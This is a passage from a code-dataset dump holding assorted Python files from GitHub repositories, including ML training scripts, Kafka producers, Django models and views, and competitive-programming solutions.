\"--minified\",\n help=\"only applicable in simulated mode, run with minified dataset\",\n action=argparse.BooleanOptionalAction,\n )\n argParser.add_argument(\"-a\", \"--alpha\", help=\"alpha parameter of focal loss\", type=str)\n argParser.add_argument(\n \"-g\", \"--gamma\", help=\"gamma parameter of focal loss\", type=float, default=2\n )\n argParser.add_argument(\"-e\", \"--epochs\", help=\"number of epochs\", type=int, required=True)\n\n args = argParser.parse_args()\n alpha = get_alpha(args.alpha)\n\n model = MobileNetLightningModel(alpha=alpha, gamma=args.gamma)\n datamodule = HAM10000DataModule(minified=args.minified)\n\n start_time = time.time()\n callbacks = [ModelCheckpoint(save_top_k=-1, mode=\"max\", monitor=\"val_acc\")]\n logs_path = \"classic-models/\"\n logger = loggers.TensorBoardLogger(save_dir=logs_path, name=\"\")\n save_setup(f\"{logs_path}version_{logger.version}\")\n\n trainer = pl.Trainer(max_epochs=args.epochs, callbacks=callbacks, logger=logger)\n trainer.fit(model, datamodule)\n trainer.test(model, datamodule)\n\n runtime = (time.time() - start_time) / 60\n print(f\"Training took {runtime:.2f} min in total.\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"martingeorgiu/spots_federated","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22319448295","text":"import sys\n\ninput = sys.stdin.readline\nn, k = map(int, input().split())\narr = [i + 1 for i in range(n)]\n\nresult = []\ncount = 0\nwhile arr:\n count += k - 1\n if count >= len(arr):\n count %= len(arr)\n result.append(arr.pop(count))\n\nprint(\"<\", end=\"\")\nfor i in range(len(result) - 1):\n print(result[i], end=\", \")\nprint(result[-1], end=\"\")\nprint(\">\")\n","repo_name":"hanriverkitty/backjoon","sub_path":"11866.py","file_name":"11866.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29097850360","text":"import os\nimport yaml\nimport pandas as pd\nfrom datetime import date, timedelta\n\nfrom time import sleep\nfrom kafka import KafkaProducer\n\nfrom confluent_kafka import avro as avro\nfrom confluent_kafka.avro import AvroProducer\n\nfrom confluent_kafka.serialization import StringSerializer\n\n\nkey_schema_str = \"\"\"\n{\n \"namespace\": \"eu.albertomorales.tfm\",\n \"name\": \"flightkey\",\n \"type\": \"record\",\n \"fields\" : [\n {\n \"name\" : \"key\",\n \"type\" : \"string\"\n } \n ]\n}\n\"\"\"\n\nvalue_schema_str = \"\"\"\n{\n \"namespace\": \"eu.albertomorales.tfm\",\n \"name\": \"flightvalue\",\n \"type\": \"record\",\n \"fields\" : [\n {\n \"name\" : \"flight_date\",\n \"type\" : \"string\"\n }, \n {\n \"name\" : \"extraction_date_time\",\n \"type\" : \"string\"\n }, \n {\n \"name\" : \"price\",\n \"type\" : \"string\"\n },\n {\n \"name\" : \"flight_number\",\n \"type\" : \"string\"\n },\n {\n \"name\" : \"airline\",\n \"type\" : \"string\"\n },\n {\n \"name\" : \"departure_time\",\n \"type\" : \"string\"\n },\n {\n \"name\" : \"arrival_time\",\n \"type\" : \"string\"\n },\n {\n \"name\" : \"origin_airport\",\n \"type\" : \"string\"\n },\n {\n \"name\" : \"destination_airport\",\n \"type\" : \"string\"\n } \n ]\n}\n\"\"\"\n\n\ndef delivery_report(err, msg):\n \"\"\" Called once for each message produced to indicate delivery result.\n Triggered by poll() or flush(). \"\"\"\n if err is not None:\n print('Message delivery failed: {}'.format(err))\n else:\n print('Message delivered to {} [{}]'.format(msg.topic(), msg.partition()))\n\n\ndef create_test_df():\n #\n res_price = []\n res_flight_number = []\n res_airline = []\n res_departure_time = []\n res_arrival_time = []\n res_origin_airport = [] \n res_destination_airport = [] \n res_index = []\n #\n price = '178.83'\n flight_number = '0,VY1017,VY1290'\n airline = 'Vueling'\n departure_time = '21:15'\n arrival_time = '21:10 +1 día'\n origin_airport = 'Adolfo Suárez Madrid - Barajas, Madrid (MAD)'\n destination_airport = 'La Coruna, La Coruña (LCG)'\n index = 0\n #\n res_price.append(price)\n res_flight_number.append(flight_number.strip())\n res_airline.append(airline.strip())\n res_departure_time.append(departure_time.strip())\n res_arrival_time.append(arrival_time.strip())\n res_origin_airport.append(origin_airport.strip())\n res_destination_airport.append(destination_airport.strip())\n res_index.append(index)\n #\n res_price = { 'price': res_price}\n res_flight_number = { 'flight_number': res_flight_number}\n res_airline = { 'airline': res_airline}\n res_departure_time = { 'departure_time': departure_time}\n res_arrival_time = { 'arrival_time': arrival_time}\n res_origin_airport = { 'origin_airport': res_origin_airport}\n res_destination_airport = { 'destination_airport': res_destination_airport}\n #\n df_price = pd.DataFrame(res_price, index = res_index)\n df_flight_number = pd.DataFrame(res_flight_number, index = res_index)\n df_airline = pd.DataFrame(res_airline, index = res_index)\n df_departure_time = pd.DataFrame(res_departure_time, index = res_index)\n df_arrival_time = pd.DataFrame(res_arrival_time, index = res_index)\n df_origin_airport = pd.DataFrame(res_origin_airport, index = res_index)\n df_destination_airport = pd.DataFrame(res_destination_airport, index = res_index)\n #\n df = df_price\n df = df.join(df_flight_number)\n df = df.join(df_airline)\n df = df.join(df_departure_time)\n df = df.join(df_arrival_time)\n df = df.join(df_origin_airport)\n df = df.join(df_destination_airport) \n return df\n\n \nclass FlightDAO():\n def __init__(self):\n \"\"\"The following configuration elements are required:\n\n persistence.bootstrap_servers\n persistence.schema_registry_url\n \"\"\"\n with open(os.path.dirname(os.path.abspath(__file__)) + '/webscrapper.yaml') as f:\n config = yaml.load(f, Loader=yaml.FullLoader)\n self._BOOTSTRAP_SERVERS = config['persistence']['bootstrap_servers']\n self._SCHEMA_REGISTRY_URL = config['persistence']['schema_registry_url']\n self._TOPIC_NAME_PREFIX = config['persistence']['topic_name_prefix'] \n value_schema = avro.loads(value_schema_str)\n key_schema = avro.loads(key_schema_str)\n self._producer = AvroProducer({\n 'bootstrap.servers': self._BOOTSTRAP_SERVERS,\n 'on_delivery': delivery_report,\n 'schema.registry.url': self._SCHEMA_REGISTRY_URL\n }, default_key_schema=key_schema, default_value_schema=value_schema) \n print('FlightDAO initiated')\n\n def persist(self, df, origin, destination, extraction_date_time, flight_date):\n print(df)\n print(origin)\n print(destination)\n print(extraction_date_time)\n print(flight_date)\n topic_name = self._TOPIC_NAME_PREFIX + origin + '-' + destination + '-json'\n #\n for i in range(len(df)) : \n index = i + 1\n price = df.loc[index, 'price']\n flight_number = df.loc[index, 'flight_number']\n airline = df.loc[index, 'airline']\n departure_time = df.loc[index, 'departure_time']\n arrival_time = df.loc[index, 'arrival_time']\n origin_airport = df.loc[index, 'origin_airport']\n destination_airport = df.loc[index, 'destination_airport'] \n #\n key_str = flight_date + ',' + extraction_date_time\n key = {\n \"key\": key_str\n }\n value = {\n \"flight_date\": flight_date,\n \"extraction_date_time\": extraction_date_time,\n \"price\": price,\n \"flight_number\": flight_number,\n \"airline\": airline,\n \"departure_time\": departure_time,\n \"arrival_time\": arrival_time,\n \"origin_airport\": origin_airport,\n \"destination_airport\": destination_airport\n } \n #\n self._producer.produce(topic=topic_name, key=key, value=value)\n self._producer.flush(timeout=5) #5seg \n\n\nclass RawDAO():\n def __init__(self):\n \"\"\"The following configuration elements are required:\n\n persistence.bootstrap_servers\n persistence.topic_name_prefix\n \"\"\"\n with open(os.path.dirname(os.path.abspath(__file__)) + '/webscrapper.yaml') as f:\n config = yaml.load(f, Loader=yaml.FullLoader)\n self._BOOTSTRAP_SERVERS = config['persistence']['bootstrap_servers']\n print(f'_BOOTSTRAP_SERVERS initialized with {self._BOOTSTRAP_SERVERS}')\n self._TOPIC_NAME_PREFIX = config['persistence']['topic_name_prefix']\n print(f'_TOPIC_NAME_PREFIX initialized with {self._TOPIC_NAME_PREFIX}')\n self._producer = KafkaProducer(bootstrap_servers=self._BOOTSTRAP_SERVERS) \n print('RawDAO initiated') \n\n\n def persist(self, page_source, origin, destination, extraction_date_time, flight_date):\n print(f\"page_source.len() es '{page_source.__len__()}'\")\n print(origin)\n print(destination)\n print(extraction_date_time)\n print(flight_date)\n topic_name = self._TOPIC_NAME_PREFIX + origin + '-' + destination + '-htm'\n #\n key = flight_date + ',' + extraction_date_time\n key = bytearray(key, 'utf8')\n value = bytearray(page_source, 'utf8')\n #\n self._producer.send(topic=topic_name, key=key, value=value)\n self._producer.flush(timeout=5) #5seg\n\n\nif __name__ == \"__main__\": \n #\n # df = create_test_df()\n # dao = FlightDAO()\n # dao.persist(df, 'MAD', 'LCG', date.today().strftime(\"%Y-%m-%d\"), (date.today() + timedelta(days=20)).strftime(\"%Y-%m-%d\")) \n #\n dao = RawDAO()\n dao.persist('test', 'MAD', 'LCG', date.today().strftime(\"%Y-%m-%d\"), (date.today() + timedelta(days=20)).strftime(\"%Y-%m-%d\")) \n #\n","repo_name":"alberto-morales/rascacielos","sub_path":"webscraper/dao.py","file_name":"dao.py","file_ext":"py","file_size_in_byte":8205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28266010811","text":"#!/usr/bin/env python3\n\nfrom PIL import Image\nfrom itertools import count\nimport re\n\n\ndef solve(fd):\n points = _parse_input(fd)\n for frame in count():\n _move_points()\n _draw_points('%06d' % frame, points)\n print('Done')\n\n\ndef _parse_input(fd):\n points = []\n pattern = re.compile(\"position=<([ \\-]\\d+), ([ \\-]\\d+)> velocity=<([ \\-]\\d+), ([ \\-]\\d+)>\")\n for line in fd:\n match = pattern.match(line)\n points.append(list(map(int, match.groups())))\n return points\n\n\ndef _move_points(points):\n \"\"\"\n Advance in time applying the velocity to every point.\n \"\"\"\n for point in points:\n point[0] += point[2]\n point[1] += point[3]\n\n\ndef _draw_points(frame, points):\n \"\"\"\n Draw an image with the points.\n\n * Limit the size of the image to a small viewport in the center.\n\n * Don't create the image if any point is still outside of the viewport.\n \"\"\"\n\n points_to_draw = []\n for x, y, *_ in points:\n if -250 < x < 250 and -250 < y < 250:\n points_to_draw.append((\n x,\n y,\n ))\n else:\n print(x, y)\n break\n else:\n image = Image.new('1', (500, 500))\n for x, y in points_to_draw:\n image.putpixel((x, y), 1)\n image.save('frame_%s.png' % frame)\n\n\nif __name__ == '__main__':\n with open('day10.txt', 'r') as fd:\n print(solve(fd))\n","repo_name":"albertomm/advent-of-code-2018","sub_path":"day10a.py","file_name":"day10a.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14065834461","text":"#!/usr/bin/env python\n\nfrom setuptools import setup, find_packages\n\nexec(open(\"kin/version.py\").read())\n\nwith open('requirements.txt') as f:\n requires = [line.strip() for line in f if line.strip()]\nwith open('requirements-dev.txt') as f:\n tests_requires = [line.strip() for line in f if line.strip()]\n\nsetup(\n name='kin',\n version=__version__,\n description='KIN Stellar SDK for Python',\n author='Kin Foundation',\n author_email='david.bolshoy@kik.com',\n maintainer='David Bolshoy',\n maintainer_email='david.bolshoy@kik.com',\n url='https://github.com/kinecosystem/kin-core-python',\n license='MIT',\n packages=find_packages(),\n long_description=open(\"README.md\").read(),\n keywords=[\"kin\", \"stellar\", \"blockchain\", \"cryptocurrency\"],\n classifiers=[\n 'License :: OSI Approved :: MIT License',\n 'Intended Audience :: Developers',\n 'Development Status :: 0 - Alpha/unstable',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n ],\n install_requires=requires,\n tests_require=tests_requires,\n python_requires='>=2.7',\n)\n","repo_name":"kinecosystem/kin-sdk-python","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"72"} +{"seq_id":"26219897371","text":"# https://leetcode.com/explore/featured/card/30-day-leetcoding-challenge/530/week-3/3304/\n# 1AC\nclass Solution:\n def search(self, nums: List[int], target: int) -> int:\n a = nums\n n = len(a)\n if n == 0:\n return -1\n if n == 1:\n return 0 if a[0] == target else -1\n idx = self.findFirst(a)\n low = 0\n high = n - 1\n while low <= high:\n mid = low + (high - low) // 2\n val = a[(mid + idx) % n]\n if target < val:\n high = mid - 1\n elif target > val:\n low = mid + 1\n else:\n return (mid + idx) % n\n return -1\n\n def findFirst(self, a):\n n = len(a)\n if a[0] < a[-1]:\n return 0\n low = 0\n high = n - 1\n while low + 1 < high:\n mid = low + (high - low) // 2\n if a[mid] > a[high]:\n low = mid\n else:\n high = mid\n return high\n","repo_name":"zhuli19901106/leetcode-zhuli","sub_path":"explore/top-interview-questions-medium/0804_search-in-rotated-sorted-array_1_AC.py","file_name":"0804_search-in-rotated-sorted-array_1_AC.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"72"} +{"seq_id":"19906658357","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractUser # Django already has the model included\nfrom django.db.models.deletion import CASCADE # Do I need this import? (auto generated when 'cascade' was used) \n\n\nclass User(AbstractUser):\n name = models.CharField(max_length=200, null=True)\n email = models.EmailField(unique=True, null=True)\n bio = models.TextField(null=True)\n\n avatar = models.ImageField(null=True, default='avatar.svg') # relies on a third party package called 'pillow', which is an image processing library\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = []\n\n\nclass Topic(models.Model):\n name = models.CharField(max_length=200)\n\n def __str__(self):\n return self.name\n\n\nclass Room(models.Model):\n host = models.ForeignKey(User, on_delete=models.SET_NULL, null=True)\n topic = models.ForeignKey(Topic, on_delete=models.SET_NULL, null=True) # if a topic is deleted, set room to null...may need to fix this later\n name = models.CharField(max_length=200)\n description = models.TextField(null=True, blank=True) # null is allowed, forms can be blank?\n\n participants = models.ManyToManyField(User, related_name='participants', blank=True)\n \n updated = models.DateTimeField(auto_now=True) # auto time stamp for when any of the fields are changed\n created = models.DateTimeField(auto_now_add=True) # automatically takes a time stamp when an instance (a room) is first created\n\n class Meta:\n ordering = ['-updated', '-created'] # odd bit of syntax here: ['updated', 'created'] would order the Room objects in descending order\n # but using '-': ['-updated', '-created'] orders the rooms in ascending order \n\n def __str__(self):\n return self.name\n\n\nclass Message(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n room = models.ForeignKey(Room, on_delete=models.CASCADE) # If a room gets deleted, delete all children (the messages)\n body = models.TextField() # not nullable\n updated = models.DateTimeField(auto_now=True)\n created = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n ordering = ['-updated', '-created'] # odd bit of syntax here: ['updated', 'created'] would order the Room objects in descending order\n # but using '-': ['-updated', '-created'] orders the rooms in ascending order \n\n def __str__(self):\n return self.body[:50]\n","repo_name":"dferes/StudyCord","sub_path":"base/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32653984535","text":"'''\n给定一个数组,它的第 i 个元素是一支给定股票第 i 天的价格。\n\n设计一个算法来计算你所能获取的最大利润。你可以尽可能地完成更多的交易(多次买卖一支股票)。\n\n注意:你不能同时参与多笔交易(你必须在再次购买前出售掉之前的股票)。\n'''\nclass Solution:\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n\n\n if len(prices)==0:\n return 0\n\n minbuy = prices[0]\n res = 0\n\n for o in prices:\n res = max(res,o-minbuy)\n minbuy=min(minbuy,o)\n return res\n\n\n\n\n\nif __name__=='__main__':\n list = [7,1,5,3,6,4,9]\n\n print(Solution().maxProfit(list))","repo_name":"a752602882/Http_To_Do","sub_path":"leetcode/动态规划/买股票的最佳时机.py","file_name":"买股票的最佳时机.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27163307087","text":"from typing import List, Dict\n\nfrom long_mail_service.models import Train, Trip\nfrom long_mail_service.service.line import line_service\nfrom long_mail_service.service.serializers import TrainSerializer\n\n\nclass TrainService:\n\n @staticmethod\n def create_train(name: str, cost: int, volume: int, weight: int, lines: List) -> Dict:\n \"\"\"\n Create trains with given details\n \"\"\"\n line_objs = [line_service.get_or_create_line(line) for line in lines]\n\n train = Train.objects.create(name=name, cost=cost, volume=volume, weight=weight)\n train.save()\n\n for line in line_objs:\n train.lines.add(line[\"id\"])\n\n return TrainSerializer(train).data\n\n @staticmethod\n def get_available_trains() -> List:\n \"\"\"\n Get all the trains available to service parcels\n \"\"\"\n busy_trains = Trip.objects.filter(is_completed=False).values_list('train_id', flat=True)\n available_trains = Train.objects.exclude(id__in=busy_trains)\n\n return TrainSerializer(available_trains, many=Train).data\n\n @staticmethod\n def get_train(train_id: int):\n \"\"\"\n Get details of trains using booking\n input\n train_id: int\n \"\"\"\n try:\n train = Train.objects.get(id=train_id)\n return TrainSerializer(train).data\n except Train.DoesNotExist:\n return None\n\n\ntrain_service = TrainService()\n","repo_name":"akash-codes93/long-mail-service","sub_path":"long_mail_service/service/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36535737832","text":"#!/Library/Frameworks/Python.framework/Versions/3.9/bin/python3\nimport sys\n\nfrom google_drive.gdrive_folder import GDriveFolder\n\nif len(sys.argv) != 2:\n print(f\"Usage: % upload.py \")\n exit(-1)\ngd = GDriveFolder(GDriveFolder.folder_24)\n\n\ngd.oauth2_connect()\ngd.upload(sys.argv[1])\n\nprint(\"done\")\n","repo_name":"alvaro-neira/noticias","sub_path":"bin/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43092438167","text":"# **InsertLicense** code\n#----------------------------------------------------------------------------------\n#! Python functionality for the LoadAny module\n#! \\file LoadAny.py\n#! \\author Wolf Spindler\n#! \\date 08/09\n#----------------------------------------------------------------------------------\n\nfrom mevis import MLAB\nimport os\n\n# Loads first 4Kb from file, replaces null chars by \".\" and\n# sends it into the fileHeader text field. Also a short header \n# version with at most 48 chars is written into shortFileHeader \n# where null characters are removed.\ndef updateFileHeaderPy():\n if os.path.exists(ctx.field(\"trueName\").value):\n fileIn = file(ctx.field(\"trueName\").value, 'rb')\n header1K = fileIn.read(4096)\n\n # Replace null characters with \".\"\n result = header1K.replace('\\0', \".\")\n ctx.field(\"fileHeader\").value = result\n\n # Remove null chars and take first 48 chars.\n subHeader = header1K.strip('\\0')[0:48]\n subHeader = subHeader.replace('\\0', \".\")\n\n # Append \"...\" if header is shorter than 48.\n if len(subHeader) > 48:\n subHeader = subHeader + \"...\"\n ctx.field(\"shortFileHeader\").value = subHeader\n fileIn.close()\n\n","repo_name":"MeVisLab/communitymodules","sub_path":"Community/General/Modules/Macros/LoadAny/LoadAny.py","file_name":"LoadAny.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"72"} +{"seq_id":"15046923009","text":"N, K = map(int, input().split())\r\ns_list = [int(input()) for _ in range(N)]\r\n\r\nleft = 0\r\nright = 0\r\nsum_num = 1\r\nans = 0\r\n\r\nif 0 in s_list:\r\n ans = N\r\nelse:\r\n while left < N:\r\n while right < N and sum_num * s_list[right] <= K:\r\n sum_num *= s_list[right]\r\n right += 1\r\n \r\n ans = max(ans, right - left)\r\n if left == right:\r\n right += 1\r\n else:\r\n sum_num //= s_list[left]\r\n left += 1\r\nprint(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc032/C/4969256.py","file_name":"4969256.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"5537662804","text":"import firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore \n\ncred = credentials.Certificate(\"../attentionindex-firebase-adminsdk-x5zeb-0f8634b6b9.json\")\nclass Database:\n def __init__(self, meeting_name):\n self.firebase = firebase_admin.initialize_app(cred)\n self.db = firebase_admin.firestore.client(app = self.firebase)\n self.meeting_name = meeting_name\n\n def send(self,message : dict):\n self.db.collection(self.meeting_name).add(message)\n print('Pushed to database')\n\n","repo_name":"Nielsencu/ripplecreate-attention-model","sub_path":"src/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7556822541","text":"import cPickle as pickle\nimport os\n\nimport numpy as np\nfrom skimage.io import imsave\n\nfrom load import mnist\n\n\ndef zca_whitening(inputs):\n sigma = np.dot(inputs, inputs.T) / inputs.shape[1] # Correlation matrix\n U, S, V = np.linalg.svd(sigma) # Singular Value Decomposition\n epsilon = 0.1 # Whitening constant, it prevents division by zero\n ZCAMatrix = np.dot(np.dot(U, np.diag(1.0 / np.sqrt(np.diag(S) + epsilon))), U.T) # ZCA Whitening matrix\n return np.dot(ZCAMatrix, inputs) # Data whitening\n\n\ndef export_image_array(image_array, output_folder, prefix):\n if not os.path.exists(output_folder):\n os.mkdir(output_folder)\n for _ in range(image_array.shape[0]):\n imsave(os.path.join(output_folder, '{}{}.png'.format(prefix, _)), image_array[_] / np.max(abs(image_array[_])))\n\n\ndef export_classification_info(prediction, target, output_folder, prefix):\n if not os.path.exists(output_folder):\n os.mkdir(output_folder)\n for _ in range(len(prediction)):\n with open(os.path.join(output_folder, '{}{}.txt'.format(prefix, _)), 'w') as f:\n f.write(\"{} {}\".format(target[_], prediction[_]))\n\n\ndef export_wrong_samples(input_file, output_folder):\n trX, vlX, teX, trY, vlY, teY = mnist(onehot=False, ndim=2)\n with open(input_file, 'r') as f:\n train_ws, train_c, valid_ws, valid_c, test_ws, test_c = pickle.load(f)\n trX = np.asarray(trX[train_ws], dtype=np.uint8).reshape((-1, 28, 28))\n trY = trY[train_ws]\n vlX = np.asarray(vlX[valid_ws], dtype=np.uint8).reshape((-1, 28, 28))\n vlY = vlY[valid_ws]\n teX = np.asarray(teX[test_ws], dtype=np.uint8).reshape((-1, 28, 28))\n teY = teY[test_ws]\n export_image_array(trX, os.path.join(output_folder, 'train'), \"\")\n export_classification_info(trY, train_c, os.path.join(output_folder, 'train'), \"\")\n export_image_array(vlX, os.path.join(output_folder, 'valid'), \"\")\n export_classification_info(vlY, valid_c, os.path.join(output_folder, 'valid'), \"\")\n export_image_array(teX, os.path.join(output_folder, 'test'), \"\")\n export_classification_info(teY, test_c, os.path.join(output_folder, 'test'), \"\")\n\n\ndef normalize_zero_one(inputs, norm_axes):\n min_inputs = inputs.min(norm_axes, keepdims=True)\n max_inputs = inputs.max(norm_axes, keepdims=True)\n return (inputs - min_inputs) / (max_inputs - min_inputs)\n","repo_name":"minhnhat93/ssl-lasagne","sub_path":"necklace/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17457690242","text":"'''\nDealing with nested data\n\nA dictionary can contain another dictionary as the value of a key, and this is a very common way to deal with repeating data structures such as yearly, monthly or weekly data. All the same rules apply when creating or accessing the dictionary.\n\nFor example, if you had a dictionary that had a ranking of my cookie consumption by year and type of cookie. It might look like cookies = {'2017': {'chocolate chip': 483, 'peanut butter': 115}, '2016': {'chocolate chip': 9513, 'peanut butter': 6792}}. I could access how many chocolate chip cookies I ate in 2016 using cookies['2016']['chocolate chip'].\n\nWhen exploring a new dictionary, it can be helpful to use the .keys() method to get an idea of what data might be available within the dictionary. You can also iterate over a dictionary and it will return each key in the dictionary for you to use inside the loop. Here, a dictionary called boy_names has been loaded into your workspace. It consists of all male names in 2013 and 2014.\n'''\n\nboy_names = {}\n\nwith open('../datasets/baby_names.csv') as f:\n # Skipping header\n _ = f.readline()\n\n # Iterating over lines\n for row in f:\n year, sex, _, name, count, rank = row.strip().split(',')\n\n year = int(year)\n rank = int(rank)\n\n # Filtering boys yonger than 2011\n if sex == 'MALE' and year > 2011:\n # Empty dictionary for 2012\n if year in boy_names and year > 2012:\n boy_names[year][rank] = name\n else:\n boy_names[year] = {}\n\nfor y in boy_names:\n boy_names[y] = dict(sorted(boy_names[y].items()))\n\n'''\nINSTRUCTIONS\n\n* Print the keys of the boy_names dictionary.\n* Print the keys of the boy_names dictionary for the year 2013.\n* Loop over the boy_names dictionary.\n * Inside the loop, safely print the year and the third ranked name. Print 'Unknown' if the third ranked name is not found.\n'''\n\n# Print a list of keys from the boy_names dictionary\nprint(boy_names.keys())\n\n# Print a list of keys from the boy_names dictionary for the year 2013\nprint(boy_names[2013].keys())\n\n# Loop over the dictionary\nfor year in boy_names:\n # Safely print the year and the third ranked name or 'Unknown'\n print(year, boy_names[year].get(3, 'Unknown'))\n","repo_name":"sashakrasnov/datacamp","sub_path":"24-data-types-for-data-science/2-dictionaries--the-root-of-python/03-dealing-with-nested-data.py","file_name":"03-dealing-with-nested-data.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"10909436786","text":"def get_threshold(env, constraint='velocity'):\n\n if constraint == 'circle':\n return 50\n else:\n # Calculated using 50% of required speed of unconstrained PPO agent\n thresholds = {'Ant-v3': 103.115,\n 'HalfCheetah-v3': 151.989,\n 'Hopper-v3': 82.748,\n 'Humanoid-v3': 20.140,\n 'Swimmer-v3': 24.516,\n 'Walker2d-v3': 81.886}\n\n\n return thresholds[env]\n\n\n\n","repo_name":"ymzhang01/focops","sub_path":"environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"72"} +{"seq_id":"7774688419","text":"from django.conf import settings\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nimport json, pdb\nfrom uuid import uuid1\nfrom pymongo import MongoClient\nfrom django.template.response import TemplateResponse\n\n\ndef add_vmail(request):\n try:\n s = json.loads(request.body)\n uuid = uuid1().hex\n s['uuid'] = uuid\n db = MongoClient()['vmail']\n db['vmails'].insert_one(s)\n print('ADDED ', uuid)\n return JsonResponse({\"status\": \"ok\", \"uuid\": uuid})\n except:\n return JsonResponse({\"status\": \"error\", \"uuid\": \"0\"})\n\ndef get_vmail(request, uuid):\n print(\"GV 1 \", uuid)\n db = MongoClient()['vmail']\n entry = db['vmails'].find_one({'uuid': uuid})\n print('GV 2 ', entry)\n del entry['_id']\n return JsonResponse({\"status\": \"ok\", \"vmail\": entry})\n\ndef _get_vmail_list():\n db = MongoClient()['vmail']\n print(\"XXXXX\")\n return [{'name': i['name'], 'uuid': i['uuid']} for i in db['vmails'].find({})]\n\ndef get_vmail_list_html(request):\n vmails = _get_vmail_list()\n print(vmails)\n return render(request, 'vmail_selection.html', {'vmails': vmails})\n \ndef get_vmail_list(request):\n try:\n vmails = _get_vmail_list()\n return JsonResponse({\"status\": \"ok\", \"vmails\": vmails})\n except:\n return JsonResponse({\"status\": \"error\", \"vmails\": {}})\n\ndef insert_vmail_snapshot_after(request, vmail, snapshot):\n print(\"IVSA IVSA IVSA IVSA IVSA IVSA IVSA \", vmail, snapshot)\n s = json.loads(request.body)\n print(\"CONTENT \", s)\n uuid = uuid1().hex\n s['vmail'] = vmail\n s['uuid'] = uuid\n s['text'] = \"\"\n s['url'] = \"none.png\"\n db = MongoClient()['vmail']\n snapshots = [i for i in db['vmail_snapshots'].find({\"vmail\": vmail})]\n print(\"SNAPSHOT LIST\", snapshots)\n if len(snapshots) == 0:\n sequence = 0\n else:\n sequence = -99999\n if snapshot == \"0\": \n sequence = snapshots[0]['sequence'] - 1\n elif snapshot == \"1\":\n sequence = snapshots[-1]['sequence'] + 1\n else:\n for i in range(len(snapshots)):\n if snapshots[i]['uuid'] == snapshot:\n print(\"AAAAAAAA \", i, len(snapshots))\n if i == (len(snapshots) - 1):\n print(\"BBBBBBB\")\n sequence = snapshots[i]['sequence'] + 1\n else:\n print('CCCCCCCC')\n sequence = (snapshots[i]['sequence'] + snapshots[i+1]['sequence']) / 2\n if sequence == -99999:\n return JsonResponse({\"status\": \"sequence error\", \"uuid\": \"-1\"})\n s['sequence'] = sequence\n db['vmail_snapshots'].insert_one(s)\n return JsonResponse({\"status\": \"ok\", \"uuid\": uuid})\n\n# Internal call that, given a vmail uuid and a snapshot uuid (or 0, or -1) get the subsequent snapshot uuid\n# First create an ordered list of snapshots for the vmail then get the appropriate next\ndef _get_next_snapshot(vmail, snapshot):\n print(\"AAAAAAAAAAA\", vmail, snapshot)\n db = MongoClient()['vmail']\n snapshots = sorted([i for i in db['vmail_snapshots'].find({\"vmail\": vmail})], key=lambda a: a['sequence'])\n print('BBBBBBBBBBB', snapshots)\n if len(snapshots) == 0:\n return \"-1\"\n if snapshot == \"-1\":\n return \"-1\" \n for i in range(len(snapshots) - 1):\n print(\"considering \", i, snapshot)\n if snapshots[i]['uuid'] == snapshot:\n return snapshots[i+1]['uuid']\n return \"-1\"\n\n# Internal call that, given a vmail uuid and a snapshot uuid (or 0, or -1) get the previous snapshot uuid\n# First create an ordered list of snapshots for the vmail then get the appropriate next\ndef _get_prev_snapshot(vmail, snapshot):\n db = MongoClient()['vmail']\n snapshots = sorted([i for i in db['vmail_snapshots'].find({\"vmail\": vmail})], key=lambda a: a['sequence'])\n if len(snapshots) == 0:\n return \"-1\"\n if snapshot == \"0\":\n return \"-1\" \n for i in range(1, len(snapshots)):\n if snapshots[i]['uuid'] == snapshot:\n return 